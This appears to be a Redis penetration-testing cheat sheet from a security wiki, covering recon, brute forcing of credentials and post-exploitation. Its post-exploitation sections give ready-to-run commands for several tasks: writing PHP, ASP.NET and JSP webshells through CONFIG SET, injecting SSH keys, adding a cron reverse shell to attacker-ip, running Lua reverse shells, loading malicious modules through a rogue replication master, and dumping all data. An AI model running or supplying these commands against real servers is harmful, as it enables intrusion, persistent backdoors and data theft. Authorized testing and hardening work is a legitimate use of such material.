Redis

Default Port: 6379

Redis, an open-source tool licensed under BSD, functions as an in-memory data structure store, renowned for its key-value storage system and support for diverse data types. It serves multiple roles such as a database, caching layer, and message broker. Although it typically communicates via a simple, plaintext protocol, it's important to emphasize its ability to secure communications with SSL/TLS encryption.

Granting unauthenticated access to Redis or utilizing common credentials can pose significant security risks, potentially exposing sensitive data and transactions to unauthorized users.

Connect

Connect Using redis-cli Command

redis-cli -h <hostname> -p <port-number> --user <username> -a <password>  
  
#port number is optional  
#username is optional  
#password is optional

URL

The Redis connection URL is a line containing all the information necessary for an application to connect to a Redis database. A typical format is as follows:

redis://:<password>@<hostname>:<port>

Recon

Service Detection with Nmap

Use Nmap to detect Redis services and identify server capabilities.

nmap -p 6379 target.com

Banner Grabbing

Connect to Redis services to gather version and service information.

Using netcat

nc -nv target.com 6379

Using nmap

nmap -p 6379 -sV target.com

Enumeration

Redis Server Assessment

Use specialized tools for Redis server enumeration and vulnerability assessment.

use auxiliary/scanner/redis/redis_server  
msf auxiliary(scanner/redis/redis_server) > set rhosts target.com  
msf auxiliary(scanner/redis/redis_server) > exploit

Attack Vectors

Passwordless Authentication

Redis allows users to connect to a server without needing a specific identity by utilizing a passwordless login feature. This method is commonly employed for accessing or downloading public files.

redis-cli -h target.com

Default and Weak Credentials

Redis installations often retain default or weak credentials for system accounts.

redis-cli -h target.com --user <username> -a <password>  
  
# Common credentials to try:  
# admin:admin  
# administrator:administrator  
# root:root  
# user:user  
# test:test  
# redis:redis

Brute Force Attack

A brute-force attack involves trying many passwords or usernames to find the right one for accessing a system. Tools like Hydra are designed for cracking into networks and can be used on services like Redis.

Using Hydra

hydra [-L users.txt or -l user_name] [-P pass.txt or -p password] -f [-S port] redis://target.com

Using Nmap

nmap -p 6379 --script redis-brute target.com

Using Metasploit

use auxiliary/scanner/redis/redis_login  
msf auxiliary(scanner/redis/redis_login) > set rhosts target.com  
msf auxiliary(scanner/redis/redis_login) > set user_file /path/to/user.txt  
msf auxiliary(scanner/redis/redis_login) > set pass_file /path/to/pass.txt  
msf auxiliary(scanner/redis/redis_login) > set stop_on_success true  
msf auxiliary(scanner/redis/redis_login) > exploit

Post-Exploitation

Webshell Upload via Redis

Upload webshells to web directories using Redis file write capabilities.

# Method 1: PHP webshell  
redis-cli -h target.com  
> flushall  
> set shell '<?php system($_REQUEST["cmd"]); ?>'  
> config set dbfilename shell.php  
> config set dir /var/www/html  
> save  
  
# Access: http://target.com/shell.php?cmd=whoami  
  
# Method 2: ASP.NET webshell  
> set shell '<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><%Process.Start(Request["cmd"]);%>'  
> config set dbfilename shell.aspx  
> config set dir C:\\inetpub\\wwwroot  
> save  
  
# Method 3: JSP webshell  
> set shell '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'  
> config set dbfilename shell.jsp  
> config set dir /var/www/html  
> save

SSH Key Injection

Inject SSH public keys into authorized_keys files for persistent access.

# Generate SSH key  
ssh-keygen -t rsa -f redis_key  
  
# Prepare key with newlines  
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > key.txt  
  
# Inject into authorized_keys  
redis-cli -h target.com flushall  
cat key.txt | redis-cli -h target.com -x set ssh_key  
redis-cli -h target.com config set dbfilename authorized_keys  
redis-cli -h target.com config set dir /root/.ssh  
redis-cli -h target.com save  
  
# Alternative paths  
/home/redis/.ssh/authorized_keys  
/home/ubuntu/.ssh/authorized_keys  
/var/lib/redis/.ssh/authorized_keys  
  
# Connect via SSH  
ssh -i redis_key root@target.com

Cron Job Persistence

Create persistent backdoor access using cron job injection.

# Create reverse shell cron job  
redis-cli -h target.com  
> flushall  
> set cron "\n\n*/1 * * * * bash -i >& /dev/tcp/attacker-ip/4444 0>&1\n\n"  
> config set dbfilename root  
> config set dir /var/spool/cron/crontabs  
> save  
  
# Alternative cron paths  
/var/spool/cron/root  
/var/spool/cron/crontabs/root  
/etc/cron.d/redis_backdoor

Loading Malicious Module

Load malicious Redis modules for command execution capabilities.

# Redis modules allow custom commands  
# Compile malicious module with system() function  
  
# Load module  
redis-cli -h target.com  
> MODULE LOAD /path/to/evil.so  
  
# Execute custom command  
> evil.exec "whoami"  
> evil.exec "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"

Data Exfiltration

Extract sensitive data from Redis databases.

# Dump all keys and values  
redis-cli -h target.com --scan > keys.txt  
  
# Get all values  
while read key; do  
  echo "Key: $key"  
  redis-cli -h target.com GET "$key"  
done < keys.txt  
  
# Export specific data types  
redis-cli -h target.com --scan --pattern "user:*"  
redis-cli -h target.com --scan --pattern "session:*"  
  
# Full database dump  
redis-cli -h target.com --rdb dump.rdb  
  
# Bulk export  
redis-cli -h target.com KEYS "*" | while read key; do  
  redis-cli -h target.com DUMP "$key" > "${key}.dump"  
done

Password Hash Extraction

Extract and manipulate Redis authentication credentials.

# Redis password (requirepass)  
redis-cli -h target.com  
> CONFIG GET requirepass  
  
# If requirepass is set, you need to authenticate  
# But if you have access, you can change it  
> CONFIG SET requirepass "newpassword"  
  
# Or remove password  
> CONFIG SET requirepass ""

Reverse Shell via Lua Scripting

Execute system commands using Redis Lua scripting capabilities.

# If Lua scripting is enabled  
redis-cli -h target.com  
  
# Execute Lua script  
> EVAL "return os.execute('whoami')" 0  
  
# Reverse shell  
> EVAL "return os.execute('bash -i >& /dev/tcp/attacker-ip/4444 0>&1')" 0  
  
# Alternative with redis.call  
> EVAL "redis.call('SET','shell','test'); return os.execute('id')" 0

Master-Slave Replication Abuse

Exploit Redis replication to load malicious modules on target systems.

# If you can configure replication  
# Point target to attacker's rogue Redis master  
  
# On attacker machine, run rogue Redis server  
# Configure it to send malicious module  
  
# On target  
redis-cli -h target.com  
> SLAVEOF attacker-ip 6379  
> MODULE LOAD /path/to/evil.so  
  
# Rogue master sends malicious module  
# Target loads and executes it

Common Redis Commands

Command| Description| Usage
---|---|---
SET| Set key value| SET key value
GET| Get key value| GET key
KEYS| List keys| KEYS *
DEL| Delete key| DEL key
FLUSHALL| Delete all keys| FLUSHALL
CONFIG GET| Get config| CONFIG GET *
CONFIG SET| Set config| CONFIG SET dir /tmp
SAVE| Save to disk| SAVE
INFO| Server info| INFO
CLIENT LIST| List clients| CLIENT LIST
SLAVEOF| Set replication| SLAVEOF host port
MODULE LOAD| Load module| MODULE LOAD /path/to/module.so

Redis Persistence Methods

Method| File| Command| Use Case
---|---|---|---
RDB| dump.rdb| SAVE, BGSAVE| Point-in-time snapshot
AOF| appendonly.aof| BGREWRITEAOF| Append-only log

Useful Tools

Tool| Description| Primary Use Case
---|---|---
redis-cli| Redis client| Direct interaction
redis-rogue-server| Rogue Redis server| Module loading attacks
RedisModules-ExecuteCommand| RCE module| Command execution
redis-dump| Backup tool| Data extraction
Metasploit| Exploitation framework| Automated testing

Security Misconfigurations

❌ No authentication (no requirepass)
❌ Weak password
❌ Exposed to internet (bind 0.0.0.0)
❌ Protected mode disabled
❌ CONFIG command accessible
❌ Dangerous commands not renamed
❌ Lua scripting enabled
❌ Module loading allowed
❌ No SSL/TLS encryption
❌ Writable directories accessible
❌ No firewall restrictions
❌ Default port (6379) exposed

Services & Protocols

Web Vulnerabilities

Redis Pentesting

Redis

Connect

Connect Using redis-cli Command

URL

Recon

Service Detection with Nmap

Banner Grabbing

Using netcat

Using nmap

Enumeration

Redis Server Assessment

Attack Vectors

Passwordless Authentication

Default and Weak Credentials

Brute Force Attack

Using Hydra

Using Nmap

Using Metasploit

Post-Exploitation

Webshell Upload via Redis

SSH Key Injection

Cron Job Persistence

Loading Malicious Module

Data Exfiltration

Password Hash Extraction

Reverse Shell via Lua Scripting

Master-Slave Replication Abuse

Common Redis Commands

Redis Persistence Methods

Useful Tools

Security Misconfigurations

Services & Protocols

Web Vulnerabilities

Redis Pentesting

Redis

Connect​

Connect Using redis-cli Command​

URL​

Recon​

Service Detection with Nmap​

Banner Grabbing​

Using netcat​

Using nmap​

Enumeration​

Redis Server Assessment​

Attack Vectors​

Passwordless Authentication​

Default and Weak Credentials​

Brute Force Attack​

Using Hydra​

Using Nmap​

Using Metasploit​

Post-Exploitation​

Webshell Upload via Redis​

SSH Key Injection​

Cron Job Persistence​

Loading Malicious Module​

Data Exfiltration​

Password Hash Extraction​

Reverse Shell via Lua Scripting​

Master-Slave Replication Abuse​

Common Redis Commands​

Redis Persistence Methods​

Useful Tools​

Security Misconfigurations​

Connect

Connect Using redis-cli Command

URL

Recon

Service Detection with Nmap

Banner Grabbing

Using netcat

Using nmap

Enumeration

Redis Server Assessment

Attack Vectors

Passwordless Authentication

Default and Weak Credentials

Brute Force Attack

Using Hydra

Using Nmap

Using Metasploit

Post-Exploitation

Webshell Upload via Redis

SSH Key Injection

Cron Job Persistence

Loading Malicious Module

Data Exfiltration

Password Hash Extraction

Reverse Shell via Lua Scripting

Master-Slave Replication Abuse

Common Redis Commands

Redis Persistence Methods

Useful Tools

Security Misconfigurations